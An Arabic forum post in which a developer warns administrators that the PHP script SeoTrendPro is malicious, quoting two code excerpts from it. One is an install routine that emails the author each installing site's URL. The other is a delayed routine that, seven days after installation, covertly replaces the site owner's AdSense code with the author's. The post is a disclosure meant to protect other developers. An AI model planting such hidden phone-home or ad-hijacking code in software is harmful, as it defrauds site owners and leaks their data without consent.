اسكربت SeoTrendPro به اكواد خبيثة واحتيال ارجو من الادارة والمشرفين التصرف سريعاً

السلام عليكم ادارة ومشرفين واعضاء المعهد الافاضل
شاهدة ان هناك الكثير من الناس تتهافت على هذا التطبيق
قمت بتنزل الاسكربت لاشاهد ماذا يحتوى من اكواد بأختصار اشاهد الفكرة الجبارة كما يدعى صاحب العضوية
Arab Coders Project
وشاهدت للاسف ما لم يسر البعض منا كا مطورين
اولا فى ملف functions.php داخل مجلد install
عند التثبيت يرسل الاسكربت بريد الى [email protected] بأن الموقع nema.com قد ثبت الاسكربت
رمز PHP:

$url="http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
$msg_to="[email protected]";
$msg_subject="SeoTrendPro Script ".$url;
$msg_msg="SeoTrendPro New site installation "."Click Here";
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
@mail($msg_to,$msg_subject,$msg_msg,$headers);

ممكن نقول ان هذا عادى هو يرغب فى ان يعرف هل هناك المزيد من استخدام الاسكربت
ولكن المصيبه الكبرى هى الكود التالى بملف functions.php داخل مجلد includes
رمز PHP:

//ads_value
$get_ads_value=$db->query("select ads_value,dt from users where userid=1");
$fetch_ads_value=$get_ads_value->fetch_assoc();
$ads_value=$fetch_ads_value['ads_value'];
if($ads_value=='no'){

$saved_dt=$fetch_ads_value['dt'];
$saved_dt = strtotime($saved_dt);
$saved_dt = strtotime("+7 day", $saved_dt);//30-01-2014
$saved_added_days= date('d-m-Y', $saved_dt);//+7
$current_date=date('d-m-Y');
if($saved_added_days==$current_date){
//$txt_file=dirname(dirname(__FILE__))."/ads_code/code_728_90.txt";
$g_code='


';
$ads_code=$db->real_escape_string($g_code);
//@file_put_contents($txt_file,$ads_code);
@$db->query("update adsense set ads_code='$ads_code' where id=1");
@$db->query("update users set ads_value='yes' where userid=1");
}
}//if ads_vaue==no

يضع اعلان ادسنس مكان اعلان صاحب الموقع بالاسكربت
ارجو من الادارة اتخاذ اللازم تجاه هذا الشخص
---------------------------------------------------------------
احببت ان ارد جميل المعهد الذى تعلمت منه الكثير والكثير طول مدة عملى فى هذا المجال
فائق الاحترام والتقدير











أكثر...